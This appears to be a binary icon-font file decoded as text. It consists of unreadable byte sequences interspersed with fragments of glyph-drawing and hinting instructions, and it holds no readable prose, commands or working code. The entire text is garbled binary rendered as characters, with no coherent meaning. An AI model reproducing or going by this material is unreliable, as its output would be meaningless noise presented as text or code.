 >+326=4&+"73#!26=4&#!"7!!%#";26=4&#53";264&#4&+";26264&+"3326=4&+"73#!26=4&#!"7!!%#";26=4&#53#";264&!";264&#264&+"3#";26=4&#53%!"3!26=4&!5!%!"3!26=4&#53			w	N					}}		}c}		!w	M			}		}		}	}				}}		M	#		#	X				Ц*				Ц				Ц				Ц*				Ц				Ц)*				Ц*				Ц*				Ц      jR    / 3 ? O S _ o s       @m!L(&$ 	 g  g%g)g* g '

g. !!g, g  g +g/"#g-W-_ Outb`TTA@54!  |ytusrqpig`oboT_T^ZXSRQPJG@OAO;84?5>3210*' /!/@	 0+#";26=4&#53264&+"3#";2654&#3264&+"3#";2654&#3264&+"3!#";26=4&#53#";264&%#";26=4&#53#";264&#";26=4&#53#";264&$											6			n				n	R		w	`			_w			M	#`						 	   0 @ N Z t     @~T	S9
Z=L&KLDI		 

   i	 
	
g  i Y a Q nl]\@?)' 00+"327276?6&/276.'..=46?&'&/&/7'&'&577#"'#.'&'.7567632&76327676.732?>.'2?64.#";264&1~!#1S(
$k('.?#@65|>2:NV-
,p6)@K/-6*	-e,-	(.760091C$-(	SS}}	
	m<#7Q)G}$2,GEQ}&)\:(2UY-Y	B
6(G9=KA?*!O<>E>o& '%?A|/:E
31+?>SSS     jS % ( Z ` f o x       @'9?8^[._-bF aG XQ	L    g 	g	 	i# g 

i i$i  i! i% g"  i  W  _  Ozyqphg&& ~}yzutpxqxlkgohoUT<@;&(&(! %%&+!326=!2654&#!"3!264&74'&'5>'.'54&".26=>'467&5"264&"&462"264&"&462"264&"&462";264&##";264&#";264&	5	H".#$0#.#%/*S*%%4$$	%%4$$	%%4$%					2		G		G	q@$' ?	$		(8
u9
	$4%%4$ST$4%%4$SS%4$$4%Tw    
   # ' + / 3 7 ; k q w @! oOHE=srpga`UT<	L  ~ ~   g 	 g 	 	g
gg W _ O8800,,$$ dcLKCB8;8;:97654030321,/,/.-+*)($'$'&%
 ##+#54&#!"#";3!26=32654&#5%!!'#53!!3%5>'.'54&".'4&26=>54'467&5					6*6*_/"$/S/"#0)S>		>?		?H*SSS}*SS_S5_U*		.:U	*.<AKK   =   & 3 @ M Y e q z  @   i g i i i g  i i i 
g
		
Y

	a 	
	Q|{srhf\ZPNBA54(' {|wvrzsznkfqhqb_Ze\eVSNYPYHGAMBM;:4@5@.-'3(3! && !+"2>4.".4>2"2>4.".4>2"2>4.".4>2!264&#!"!"3!264&!"3!264&"264&"&462(C''CPC'(C'009/0(C''CPC'(C'00800(C''CPC''D'//900G			P		G				G	%%4$%	='CPB''CNC(080090S'DND''DNC(080080S'DND''CPC'0:/080w%4$$4%T     & : K i @CI) LK
PX@A  r q	g  g 
  iW` P@A    	g  g 
  iW` PY@5ML=;(' fd`_RQLiMiFEB@;K=K641/,+':(:&$ +26=332>/>=4.+"32+732653264&+"3264&+4&"!764&"01264/!264&	]MB&/}h%%hhh		V		tZ}}Z	4hs
c5")/N%)%99}Z}	}Z     jWS  " H @B5 LK
PX@*	r  i  i Y a Q@+	  i  i Y a QY@ EC<;42)("" 
+#"2767654.2"&=46"'&'&54>;26=4&'532GJ|I0/QRRQ/0I|	A+*FIHG)+=j>>$4%>?i>RI|J`RQ/00/QR`wJ|I}		}!UHG)++)GHUw>j=W }%%} W=j>    jR  3 /@,L     i Y a Q)+67654'&'&"32767264476762"'&'&065Y]]Y5665Y]kKEB60B0/QRRQ/00/QRRQ/0s16BFJk]Y5665Y]]Y560?`SP/00/PSSP/00/QR          0 K@H!L ~   g W _ O 0/*)$#
 +!"3!2654&#!"&5463!2'&"2?64&"%%k$$		kw%$%%		    jR 1 C X j z@w%	
L i  i  		i  i  
 i

Y

a 
QZYED32 edYjZjKJDXEX982C3C,+#!
 11+%"%64'%32>4.".#"32672>4.2"&'501&54>".4>28101".547015>2A*I

tI*-M--MZL-
I*-M--M-*It
-LZM--M-"9""9E<"9"9""9E<<w"9"<E9""9("6"(-LZM--M-"(-MZM-)"-M--MZL-q"9D9"&"9""9D9"&;&"9"&"9D9"    	  jR     ' 3 ? K W @  g g g g 
g
 
g 		gW_ OMLA@54)( TQLWMWHE@KAK<94?5?0-(3)3$!''
 +!"3!2654&!5!)!'#";264&'#";264&'#";264&'#";264&'#";264&B			lGMh}}		}}		}}		}}		}}	R	B			*<<}}}}}      =       $ ( . 8 J M Q U Y _ i { ~           K@/,+`]\M&(~ L2 7	 g65
43
 g8;g:9 $g>$1B/-+)(&$(g0A.@,?*'& %&%g<#=!  g"W"_ Olj[ZVVRR;9*)%%!! }|vqj{l{fedbZ_[_@GVYVYXWRURUTSQPONLKE@9J;J5431).*.%(%('&!$!$#"   C+!"3!1326=4&#7#7373#73#73#73'3546+532!"3!1!26=4&#7#7373#73'3546#!5!2!";1!26=4&#7#73#3546#!5!2!"3!1326=4&#7#7373#73#73'3546+532%%}$$``B}B}B}}B}}B}}B}JJ_ii%%w$$Z``B}B}B}}B}JJ_c%%q$$```B}BJ_]%%q$$``B}B}B}}B}}B}JJ_=$T$%T$__}}}}}}}}}}}`Ki}$T$%T$__}}}}}}}`Ki}J$T$%T$``~`Ki~8$T$%T$__}}}}}}}}}`Ki}     m   , E >@;/.L>%K   g W _ O 	 +!"3!2654&!!?'&327654&>&/&32?>.HqT55T
655T
Tm	_	_w**M
**      C ( , 0 4 >@;4321,+*) L    g W _ O%$,&+&54&#!"'&;73!26=327654!!'57H	l}G}}#8		8#

#8		8#
N
Nw          " < F P _@\ G
L  g  i	 
g 

W 

_ 
O$# POLIFEB?74.-*'#<$<
	 +264/764&"%'&"2?64#4&#!"#"3!26=4&463!2!#!"&=!}	EESSYSEESh>%$?%%q	q	f	 EDTSvTDESb%%	*$$*	b		?       $ 6 U r   @%}Vv]wW3
ML	S	LKPX@Wr

~

~	p   gi	i		h W _ O@Y

~

~~   gi	i		h W _ OY@;ss sszykied`_ZYPOJIEC?>/.'&
 +!"3!2654&!!264/764&"2?64/&"3;264&+764&"54&"26=264/3264&+"#2?26='&5&'"/#";#";2?5>5754&"'&"l			kDDTTTEE:T!DEED!TET!D>!TE	f			fqeEESSSSEEVED!	TVT!DED!TET!D        m   ) ? W@T7L
 	 iY_O+* <931.,*?+?$!))	 +!"3!2654&!!%#";#";2654&#3264&+";264&HzS		>>		S	8>>		SS	m	_	_w*	_w	_   =   $ 5 a@^& L 	  
   h W _ O 54/.)($#
 +!"3!2654&!!'&"2?64&"7264/&"2l			kEESSEESSHEESSEESS     C   % 6 E H G@DHGF-"L   gi W _ O 21)(	 	+!"3!2654&!!&"264/764'&"2?6432?64/&7HSSEE;SEES}		})CCC	`			`wZSSEEMSEESoTT,,        m   % 6 H@E-"L   gi W _ O 21)(	 	+!"3!2654&!!&"264/764'&"2?64HSSEE;SEESm	_	_wYTSEDNTDES    ,  - > A }   )2  '&2?>=4&/.=46?62%&"32?64'5656.".&'&'&1#'&727>'676.'67>'&'"'67>.'&'2>.'.5676'&7676!"3!2654&+53264&+46;264&+"#";#"&5463!2#";2>=4.+".=4>;2'"2>4."&462iGGi *+i$F$i+*jCCjj!D!j}		tC
	
B"
/& $$!JHM@8A	%24			F`
0'7G%%M$$**#1				M(C''C((C''C@//00"9""9D9""9""11E01		. .

. .				T>Y,	
$*,#	*+%y<
 	
		@		
$4j$%%M$u	1"	M'D'(C''C('D'0000"9D9""9D9"1F00F1        - 0 3 ? n@k	L  	 	 

   g 		g g

W

_ 
O64 <94?6?320/,*%$-- +!264&#!"276&/&";#"2?6'&+5'3#!"3!264&*		l	P}}hh}}hSSSl			}		}o?o`          # ' + / 3 7 @  g g
	ggW_ O44,, 4747653210,/,/.-+*)('&%$#"! 
 +!"3!2654&53#5#5))5!!!%!!!5!)5!B			"#%%q##l%q#	<			}})}}M}}}}}}}}}}      ! + 6 T W@T 3(R
L 	 g 

g W _ O-,$"MKEC<921,6-6'&"+$+8333+'.+"&+".+"3!2654%32#'7>!32#'7>#!"&54?6;23!2*   -	%k$ѿ		0	- 3>ox"%%~F*E*{		x`         B [ e@bML)X&	L
   g  g 		i  i W _ O!  [ZJIDC=;41 B!B
 +!"3!2654&#!"&5463!2"'&.'7>'&54&+"326=4&"'&'&776?%%k$$		k4($-'5!Q97^`qeWU03T*E48(3%$%%		"5&+	#)pa]79Q32TXf,-8
4E*       # 8 ; _ y  @c:b
L
<	n	 L  

 		   g

i g		iY_ Oa`99 }|rplkfe`yay]\UTONJIDC?>9;9;430/##
 +!"3!2654&463!2!"&#7.6?327>/74&""&=4622654."2>%"54&"265132>=4."&=462%%k$$f	kp	!5G}**00V$4%%4$080/:/""00"$4%%4$%<%%%		q6!	pp>%%S%%00S//T		0S0%%S%%           ; T@QL
   g i	 g W _ O!  :852/-,*'$ ;!;
 +!"3!2654&#!"&5463!2264&+";#";264&+%%k$$		k'		S				S		%$%%		>w          % 6 F J Z ^ n r   @ -"lXDxdP<	
L   gi  g
g
		
W

	_	
	Otsa_LK87 |zstrqpoif_nan^]\[URKZLZJIHG@>7F8F21)(	 +!"3!2654&!!&"264/764'&"2?64#";26=4&#537#";26=4&#537#";26=4&#537#";26=4&#53HSSEE;SEESQTT**SS	**S		S	))TT**__wTSEDNTDESTTT**TTT**TTT**TTT*         # ' 7 ; K O _ c s w               !"3!2654&!!%#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#536			`	S		S	))S		S	))S		S	))S		S	))TT**TT**TT**TT**S		S**S		S**S		S**S		S**H*TTT*}	S		S	S)}	SS	S*}TTT*TTT*}	S		S	S)}	SS	S*}TTT*TTT*}	S		S	S)}	SS	S*}TTT*  
       # ' 7 ; K O _ c @! A]UL  g  g 
g 
 	
	g g  g gW_ORP><*( cba`ZWP_R_ONMLFC<K>K;:982/(7*7'&%$##	 +!"3!2654&!!7#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53-		S		S	))S		S	))S		S	))S		S	))H*TTT*}	S		S	S)}	SS	S*}TTT*   = e p      @ѹba_	^  Y421tXVU5DCA:	L W	i  g   g 	 	i  
g 
 
gi Y W aQgf ý~xvmlfpgpROJG>=.+&#
 ee+326=4&+"&'54&"'54&+";26=726=67;26=4&+"&'5>4&'567'21"&46+"&=46;221"&4676=46;2+"&=4/"&5146276=46;2+"&=4'$$%66%%%%66%$$%66%			EG			EG>E		%$$!7l		l ( 6!%%%$!7 ( l		l7!$%%%!6 ( 6!%	
*		*E	0	)		*	D	9D	*		)	    =   ; K [ w      @^lL$   g%*	g  i  
g&
 
g+ '!g  i  g( g,")#g  i W _ Ozx]\><!  ˼xzsronkieda`\w]wYVQNFC<K>K7632/-)(%$ ;!;
 -+#";26=4&+"&=46;2#54&"#";26=3264&#";26=4&+"&=46;2#54&"#";26=3264&#";26=4&+"&=46;2#54&"#";26=3264&!264&#!"!"3!264&!"3!264&%%%%				>	!%%%%				>!%%%%				>G			P		G				G	=$$$$?				%%%%				>%$$%		>				q        m   A c  T@Q{nhYLF6)$	LUK ~   g W _ O ~\['&
 +!"3!2654&#!"&5463!2&'&"'.6?;>?6&%&'.'.6?;>?6&%&'.'.6?;>?6&%%k$$		k	&&	*
+,*	&&	)++)		&'	*,+
*	m%`%%%!				h		jYYj		ee		jYYj		ee		jYYj			ee      ( 2 H c@`
@=7	L  
	
g		g  Y _  O CA?><943/*'%! 	 22+0#!"&463265!""&=463!2"&54&#!30132'3&5463!25!63!2%%	k%%}	###$l%%%z%)"hhe#    $  e n y  [K
PX@&*xung32
 LoTKKPX@&oT* xung32
 L@&*xung32
 LoTKYYK
PX@A     ~ ~ 	 	i i 

Y 
a 

QKPX@;    ~ 	 	i  i 

Y 
a 

Q@A     ~ ~ 	 	i i 

Y 
a 

QYY@|{mkOMGE@>7654%$+47.'&%2632656/&#"'"3262656/&#6767632#"3#"'65&62#"'&'&'&547676767632767>7654'&'&'&#"l"1R;&		l;-*?X		h5Y*1+5T:&
y3N@026<RyVV)& #@ %%@RbQ[XLF@ %%*9IbTWR<0""&5<RGd[PV3;%!!A@ZMQ I/Y
			
O3

	3T2XcoU^0ZQ=%%@RVV*%!"@ &&!?@RPc]V)& #""&5I(IbTWR;< !%(4<QGdVUGG3        # / ; G t@q   g g g 	g 		g 

W 
_

O><20&$ CA<G>G850;2;+)$/&/ ## +!"&463!2!"&463!2!"&463!2!"&463!2!"&463!2!"&463!2B			e		B			e		B			e		}}}}}      fO   "&'&/&'&'&'#"'&'&'&547632765##".4>3235.54>23>32#"&'#0132767'&>76767>+%32676?676767>;6767#"'&'46;23264&#"+"&=47>54&"+"'.#"32676;2#"&'&?&')7!5$-;G$$*&
?,//,?"9D9"?,00,?&+%&5--$5 7,$(!16





61!(#MR
,S"	^	%%	^	0E1_	%%	_"S,
RM
$12Db:5(
	0:/ 0"9""9"0 080t
(*-bD21$
,"",3SF6+.%4$?##00##?$4%_.+6FS3   	     # 0 9 F O \ e @ i   g i i 	g 		i i g 

Y 
a

Q^]QPHG;:21%$ ba]e^eWVP\Q\LKGOHOA@:F;F651929+*$0%0 ## +!"&463!2!"&463!2!"&463!2%".4>2'"264&".4>2'"264&".4>2'"264&<				<				<			00800$$4%%00800%%3%%0080/$$4%%080080%4$%3%180080$4%%4$08019/%4$%3%  @    3 6@3.L   v"! *)!3"3   +"'.7>%".7&>!"'&47>9w,
l
$#      jR  - Q k l@i_VL8iU1L ~ i	g   Y  a
  QSR db[ZRkSkFE?=43$#-- +"'.'&47>762"276764'&'&"/".?'.>;7>32'2'&6?#"&/+76f]Y&''&Y]]Y&''&Y]f|kh<??<hkkh<??<hk@
;NN;0@@0'&Y]]Y&''&Y]]Y&'?<hkkh<??<hkkh<?uu׊_ll_   jR & D Q Z         @6 L     

~ i	i"!i i i # i 

W 

_
O][SRFE(' źһҵ{zurmjfd[]WVRZSZLKEQFQ'D(D &&$+%"&'&'&'&/&'&'&54>2"1676?6767654.".4>2'"264&!".54>3!2#!"3!265462%"&4762!"'&462"&462'"264&3#"&46;2"'&'&547&462'3267654'& >i|i> 3V2)$$*3V300800%%3%%9<00_%%%1	t\"11E11#"CTT\!n	 2d	JA531(2>i>>i>3(135AK
2V3*"A)FONF)A#)3V2080080$4%%4$00$e%$			0*	tG1E11E1}"":2}		


    $ - : Y@V	 L     g   i  i	W	_ O8721,+('$"
+76762!	/"&5463!2#!4&"267".4>2*0l˷!


B%&.+1,+1,S,`

:`j`.	
<
7*,,2,, (   3 @ I d   @*O b	L&K  gi i i  i
  g		gg W _OgeKJBA54 ywtrqpmleg^\XWVURQJdKdFEAIBI;:4@5@-,
 +%!"&5463!2%!!"&'/.767662".4>2'"264&!"&=462!#"&46;2!"&=462!#"&46;2!"&=462!#"&46;2<			Hf
Ԕk
j00800%%3%%.;*?K<	>		SK<	>		S		q	)H
k#j6w080080$4%%4$T?G	S	S		>G	ST?        4 q     t@q_G9	
$LZK   g
	
i		iW_Osr {yrs?>2/*'"	 +!"3!27>/!2>54.#!"'&#!"&5463!2%&'&'&#"&/&'.32>?3276547676."32>76&'&"'.767>327"32>76&'&"'.767>3200"00"$3g$%$	 	L"
3'!4&##	3'!4&##	00P30$0t% %$$$!([?O-o'9D5C-0	
0-[".%Z-APRe%
=&AMA&A'%A//r&AMA&A'%A//     3 B E &@#EDC4 L   v 33 +"/.54>?6"?>54&/&"'&5467JH%=##=%ݒ%=##=%HJGH(77(܏(77(H	$		(@&&@((@&t&@(;)t);;));we֕      8 f r ~   @ ^Q	%
LHK     g 	g 		g 

g g W _ Otshg {xs~t~olgrhrWV	 +!"3!2654&!!.6'&'&"'.32?>41/"5'4&"51"5'#?264'&'&737>'7!264&#!"!264&#!"!264&#!"3264&+"-		qH#"6.	YY""7-w		w		w					BEFM7.C<;/YEFN7-C<;.e}}}     2 x    h@e
L
   

j 		i Y aQ zyJIEDBA=<
	 xx+"'.'&'&'.67>'&'..'&47>67676&'.>767676>76'1&'2767654&'.67>176764'.&'.67>54'&'&&&'.'&'&7667>7'".4>2"2>4.%% &;1	%  %
1;' %% ';1
%  %	1;.5.&;!<&.5
4BB4
4/; !;(/4"4B!!9_88_r_88_9-M--MZM--Mu
	""%"%"
(F("%"%""%"%"
! F(
"%"%&
"	?4!	9!4?	#
	 '' 	
#	? 9:8@'" 'v8_r_88_r_8w-MZM--MZM-  i/R I U ] l x  j@glf5#	e_~zysmWVPJ9 L    
	 
i 	 	iiYaQvupojhca%.#)%,+%54'.'&"2654&#&5>767>636=.#"3>76&"&5462'.'476.&5>7462"&5('Y]]Y'($?g>  ,S"^S
2GG2	T]"S+  >g?G=N+'5DD57CC7#H?&*Ne`\)**)\`e/<>g? A kmFY3453]Emk  ?g>7Af@=+&D****K')*'W%*?@e  iS  7 K
PX*LKPX* L*LYYK
PX@# g   g_ OKPX@"  g  W _  O@# g   g_ OYY@  /-&$76  '7%	+.?#".54>3!2#!3%63!2>54.#	]S(D((D((D((D(33o
S)c44(D((D((D(Q(E(4Q4	44     =  7 b K
PX@=5
`
	U L KKPX@=5
`
	U L K@=5
`
	U L KYYK
PX@M   i 	
	Y i g 
  
i Y a QKPX@H   i 	
	i i 
 
i Y a Q@M   i 	
	Y i g 
  
i Y a QYY@.dcpocd]\XWSROMIHED@?;:1/+)77+"6?26=4&7"265462;264&+76=.4&"265462#"32"&54&"264'>2"'.'&54767>276764'&'&#"&46A>!

,
	&my

\W- ,>,&

&,>,aYV$&&$VYYV$&(F<9cffc:<<:cfw	[2

,

	

p	,K,,

&&

,,@
"&$VYYV$&&%VY`FBD;	nwfc:<<:cffc:<   	jR   M        @W
`C86		/ L 

   i 
 
i  	i 	 	ii   i  iW_O"! μͪͤ{zsqljfe]\TSON>=)(!M"M   +%".'.547&5476762%22>7>67654'&7654."36%"/&'&'&'#'#&#"&463&767632767654623276#"&46;23#"&46;2!"&?>?67&54627676%!'&/3'&676764'&"!'3\F"('BDDB'("F\;OXO<

CssC
?@="	&"	"#&,+(	*		*)		)	nB 
k&-L-&k
 tg:>fh4^>;+ODB'(('BDO+;>^4	:Z11Z:DsCCsDP'#		< 
"#		#/
#
l 4"!!"4 l
$
*gb55b       @ L    v-(+654&'.#"3267	

	=,
	
       @ L   v 
 +"327>54'654'.(	
;
	
      n   @ L      v+'&"?27>54/76'.4	+W+;
--,	+W+	,+         
 3@0 L    W_ O

+#5##!5$HSSS   iS  $ . @@=    ~   W_O  ,)&%$#  :+#!"&'463!"3!2654&+;265/Q)7&&66'=	c	R3'0<!"&55&/'7;		      V  # / @  LIKPX@9 

r	~~   p  
i  Y  b  R@; 

	~~   ~  
i  Y  b  RY@/.-,+*)('&%$##%+#'>54."32677%".4>2'3##5#5353! #I||II|J2Z#>63W23VfV22VSS*SS*#[1J|II||I# ">2VfV32WfV2*SS*S          , 5 > G p@m   		    i
		i Y _ O@?76.-DC?G@G;:6>7>21-5.5+)&#,,3!#3++"&46;#"&46;22654&+";264&+"264&3"264&3"264&	S

>>

S	'

	T		T		?&&&
			
&&&&&&    
  jR  - A j w     @IF^
LKPX@h  p  

	r     iji	 	i Y b RKPX@i   ~  

	r     iji	 	i Y b R@j   ~  

		     iji	 	i Y b RYY@9yxlkCB~xyrqkwlwec\[TRMLHGBjCj+4'&'&"276767"'.'&47>76227676. '."&"."3267>546232>4.".4>2!".4>2'4&"267"&4624&"267"&462?<hkkh<??<hkkh<?*'&Y]]Y&''&Y]]Y&' 'ECCE'BB/O00O_Q//Q04X		V50Q//QD%>%%>J?$$?g%>%%>J>%%>*%4$$4%J*%4$%3%^|kh<??<hkkh<??<hk|f]Y&''&Y]]Y&''&Y]E"!!"Err-M..M-0Q`Q/9/.:/Q`Q0%>J?%%?J>%%>J?%%?J>%	$$4%%	$$4%%       ) H@E Lg   g  W  _  O!  &% )!) 	+%2+"&=4632#!"&5463!"!4'.'77'('77'(			8'(77('8TT	    k(   . G@DL  g g W _ O  '%. -	 	+2#!"&5463!"3!274&#2+"&=463$33$%33%?@(3$$33$$3Sz      (   / A@>  g g W _ O!  (& /!.	 	+2#!"&5463!"3!2654#2+"&=463$44$p$33$pv(3$$33$$3Sz 	  jkR   + 7 C O [ g s @LK   g g  g g 

g g 	g 		g W _ Oih]\QPED98-,olhsirc`\g]fWTP[QZKHDOEN?<8C9B30,7-6&# ++(52+>3!2#!"&546?3265%!+3!2654&"&463!2#"&463!2#"&463!2#"&463!2#"&46;2#"&463!2#{%%&
t&
q	



6



6



6







6



J%%%
&z		l	'}w}w}        3 P S@P 	 	g i i   W  _
  O54 JGBA=:4P5P-*%"32	 +!".54>;23!2"3!2654&#!"&/.#"&=4&#!""&54>3!200!7
 00$%$$!7 	%<%00.01( 10%%%w%' }	}$$		00}	 jR G ^ y        &9$@[
cWLKKPX@&0$ r (i
i i,*i  i+)i	%  i!#.i"/ -i Y a'Q@&0$ (i
i i,*i  i+)i	%  i!#.i"/ -i Y a'QYA}''                 { z   '9'953,*&&	                                                  ~ z  {  w u m k ^ \ Q O = ; 4 2 - , ' %   	    G  G 1  +"'&'&67"'#"'&'&5476'&'".67676322?67632#3276765'&767&#"327676'&'&#""&4&""&54762"'.'&47>762"276764'&'&"&462'"264&"&462'"264&"'&547676;276'"32767&'&'&"'&'&7>767632'327654&'&#"V5%"1#%5VL3*
/UN362. .251NU/+3)DI* [XA *ID)DA04)	*PGf]Y&''&Y]]Y&''&Y]f|kh<??<hkkh<??<hk%%4$$	%%3%%`=#C'6'AF);Mv		(3&!&//'/M;)FA'6'B%&!&4'		'0'+$P#		#P$+'% 
:

	
:
 %*-'# !#'-*'&Y]]Y&''&Y]]Y&'?<hkkh<??<hkkh<?`$4%%4$SS%3%%4$S_6&
!}


}!
&5T


    5  $ C@@L      W _ O  +2"&54662!#!/&47S  -  !$	5   BUU	     5  $ C@@L      W _ O $#  +2"&546.=!"&'5467!5462-  	$ 5  B	UU     5  $ ? S@P650L	    W_O :921.-#" 
+2"&54632#/&4?6%&'5#.'5>7354>-  LV$ \\  \5  BUU		
YU   5  & > S@P,L	    W_O =<5410*("! 
+2"&546&'5#.'5>7354>32#/&4?6-  L\  \V$ \5  BYUUU		      5  # >@;
L   ~ W_ O#"%%+62++.5#".72#!"&463	UU	?  !$>-  -   (  % C@@L    W  _  O  %$ 
+2#!"&4633232"/&>;4673  U		U-  -5 $      (  & ? S@P*	 L     	W	_ O:832-+('"&%$&
+%##.'5#".?>%2#!"&463232"/&>;546?UU  U		U[  [-  - \V#   *  $ > T@Q4- L    ~ 	W	_ O7510,+ $#%#
+%232"/&>;546?%2#!"&463##.'5#".?>U		U  YU \V#-  -\  \	     jR  ! * 9 B O \ q@n-L     
 ~	~ ~ W_OZYTSMLGFA?><9876'!#'!73+4>3!2#!".5%35327>4&'&++5323'67654&+3537+5322>4."".4>2&@&&A%&@&f&@&Au+ !  +-#mm#-}Kn-!L>APm.#ll$-7c~d77d~c7p&DZE%%EZD&&@&&@&0&@&&@&>K>"++#8=KG"++xAh;;hh;;hA0M,,M`M,,M        # 8 F T X@U 	g 
i   W  _  OGG:9%$ GTGT9F:F/.$8%8#"	 +%!".54>3!2"3!2654&#"'%.>27%6"'&6?6!"/.>0000$$$$t#	V.V
Q

00060q%6%%%   jR      @C0/	P

L			~    i 		i  
i
 
g  iW_O    |ysqb^ZX<;86%+27676322"6?67>?6'&'?676'&#"3%264&#01!>?>?6'.'4&+"&/&6;26/&547676#54."#"3!26=4&%4>2#!5!26=>54&"((X#
	.o&3(S0)
	(3Q-	P;	(
		!'Q'CND'		M	0:/#
"	5	i		S
SO%*H
(/@
S+Q:(C^5	;\+Q	R+
S		B'(C''C(		00w		       m  " ? ^ @>
 LJIK
PX@(     g W W aQKPX@$     gWaQ@(     g W W aQYY@]ZRPHF971/'$! +276/764'&64/&27&#!";?327>=6'+764.+"'.=4763!2S

GGcSCC

&&&!6
&8mG	n			TBC	t	S	
CB

!h
#S6	      m    6 F J X r x@uY2#rgP1$	k	L-	K 

 	
	~  

g 	  	g  Y  a Q
	 MKJIHGDA<965	
 +%"264&3"264&264&"?'&7>'4."%4&#!"3!265'!!#"?6&'%676/&"376'.	I	T	66		T
			H	*
,2	T\2y	*	
	)	M

_		w`S
y	*.	     ,    2@/  g g   W  _   O&7+3!2654'&#!&!!!:4#&2 5#&12%%[      (    .@+   gW_ O72+4&#!"3!265!)!1&"1"&1A=&11&1"~~     j^\    ,@) J    W _O+'7676%#5"&463!2#C.#* O5C,P F5   9  J 9@6  ~     g Y a Q6;:3:7+3!2>54&'.#!"'463!2276=4'&'.#!";27654'&+"&5 	.	
#
*	'(!	(%%
3$.
x

%%)+	   i%S  , 2@/ L      v%",,#%5 +#"3!26=4&+'.#!"!2#!".546Կ				";"./$	4	3	4			";"$/_	   9  # & *@'&%$L    i Y a Q&!+&#"3276'"&'.467>27FEcʈ?>}?>?B?B?NJpFHmA[|@B@B?A?C!!}      X   2+7;;X::     X  2+'7';;;;     s   A ^ j pzK
PX@
E>QLKPX@
E>QL@
E>QLYYK
PX@Q 

     Y	 i   gia QKPX@F 

    	i   giaQ@Q 

     Y	 i   gia QYY@1kkCBkpkphgbaWUONIHB^C^;:650/('"!AA%;+.6?01301;>/7%22654."2>54&""&=&>%"54&"265132>=6."&=462$..		66&3>44>3&8'  #35('8''8''*e
	yy

\'		44\33

&&\.[



3\!5&&X''S%     (   # 3 F a@^    	 	g
   g g W ` P DA:72/*' ## +!264&#!"!264&#!"!264&#!"4&#!"3!267#!".54>3!2

		

		

	 +  "),+,,+9
''D'&111?-     % 1 U g s w@t&" L 

 
 ~  
 ~  g 		i 

gW_ OjhWV42pmhsjsdb]\VgWgROJGBA<92U4U+%&"2764/7>762"'&4?'.'676.!"&5463!22654&#!"3!264&"26=463264&3264&+"OO??	OO>>	@C	B
y
3(r%34(
 HJ35				STCC	STCC	M	
#y!"

Q);;));
HKK		84      =    + 7 C U a KPX@J     p h	i		g 

W 
a

Q@I      h	i		g 

W 
a

QY@EXVED:8.,"  ^[VaXaRPKJDUEU@=8C:C41,7.7(% +"+	 +"&5463!2#'!!264&#!"!264&#!"!264&#!"!264&#!""26=463264&3264&+"?

k		k		

G		

G		

G		
K26
"				s


`
*w}}}$72

#        % 1 f   @smdTN
>
G&" L 		 	~ 	~ 
	
~ 
	
~ 	~  	 ~ 	 ~  		gW` P¡rqbaCB:965+%&"2764/7>762"'&4?'.'676.%#227>76'467.7"&#.'.''>4676>762'.67.'&67&5463&76!"&5463!22654&#!"3!264&OO??	OO>>	@C	B
				
		%551O	+
/O%B* >


	  8;DKF
(!y
3(r%34(
STCC	STCC	M	

		F125			%%j	#*1
	
F@>%(,	#,
#y!"

Q);;));
    =    + 7 C x@ XN[sq	k	bLUhKK	PX@S   r 

  g  g g 	Y 		g g a QK
PX@Y   r  ~

  g  g g 	Y 		g g a QKPX@S   r 

  g  g g 	Y 		g g a Q@T    

  g  g g 	Y 		g g a QYYY@;:8.,"  jifea_HG@=8C:C41,7.7(% +"+	 +"&5463!2#'!!264&#!"!264&#!"!264&#!"!264&#!"&7676267267'67"&'67"'&'&57.'&7?

k		k		

		6

		6

		6
Q %+/)		*'+3:;4#



s


`
*w}}}#
,^"#
      > I@F1L     ~   i   Y   a  Q+%7>'&>'"/&4?62&&'&>765462"&5J>- !5*UgJ>- !5*Vf
3$uL6te"Ei93$uL6te"Eh    A  + <@9      	 v  +*%$  
+"&5#"&4?62#46232"/&463"hh"i
XYY	      jN  - A R@O5L     ~  ~   i Y aQ ?>8732"!--
 	+"276764'&'&"'.'&47>762'&46262"&'{jg<>><gjjg<>=<fj}d\Y&''&Y\\Y&''%X]J
$>=gkjf<=><gjkh=?F'&Y\\Z'('&Y\\Z&( J      jR    + 7 C   @DPL  g  g   g  g	g		g 
i W _ O98-,!  |yvqnhe`]ZWLI?<8C9B30,7-6'$ +!*
 +!2#!"&546!462"&57"&46;2#"&46;2#"&46;2#454>3!2+"&46;2654&#!"&/.+";2+".54676;23!254&#!"KRN[		V		V		V		V		V		111x		x&&"7"x&&x		x0@x!7"	&>"Q*M_		zGH
00.2((( ' (2 -$( 
m%    jR  $ f {  @}%
t1	  L  g  

g  		g   ig    i Y b Rzwspkh`]ZWROIF3;8+%5462762"/&462'2>4."454>3!2+"&46;2654&#!"&/.+";2+".54676;23!254&#!"4>2".?>x-MZM--MZM-111x		x&&"7"x&&x		x0@x!7"	&>"8_r_88_r_8??-L--LZM--M00.2((( ' (2 -$( 
m%*9`88`r_88_   A  $ ,@)      v $#3%% +#"32764&+4&+""&463!2#wz
$""        $ 9 F@C L    ~   ~  i Y a Q)$%(+&'"&5473264'&#"26546326 '&'&4767632}NuuNExv		@[>,
HvxI

Ixzx{F
[y<5>``>5<yi|{.		[@	,>wGFv%vFGHJr       A  @     v5$+32764&#!"
       A  @    v5+74762#!"&!

    (      P K	PXKI LK
PXKILKI LYYK	PX@5	
	g 
 
g   g  Y  _ OK
PX@8  r	
	g 
 
g  g  W  ` P@5	
	g 
 
g   g  Y  _ OYY@#þ}jhc`ZYFC;:31,)$"+1001'001%03#50#3001!7&'.747##!"&=47#3&'.75463!22#!"&4676367676'4'&'&'&/.763!23!2=4'&'&'&'4#'.763!22#!"&4>367676'54#!"^<?A?AuG
					

	%
F
	$


			
Cf$$6666g

L
	
"	""	!f
	
 
  >  ) B M V     @@]}u08LK	PX@Z r    i g	i  g Y
i g Y a QK
PX@`	r r    i 	g		i  g Y
i g Y a QKPX@Z r    i g	i  g Y
i g Y a Q@[     i g	i  g Y
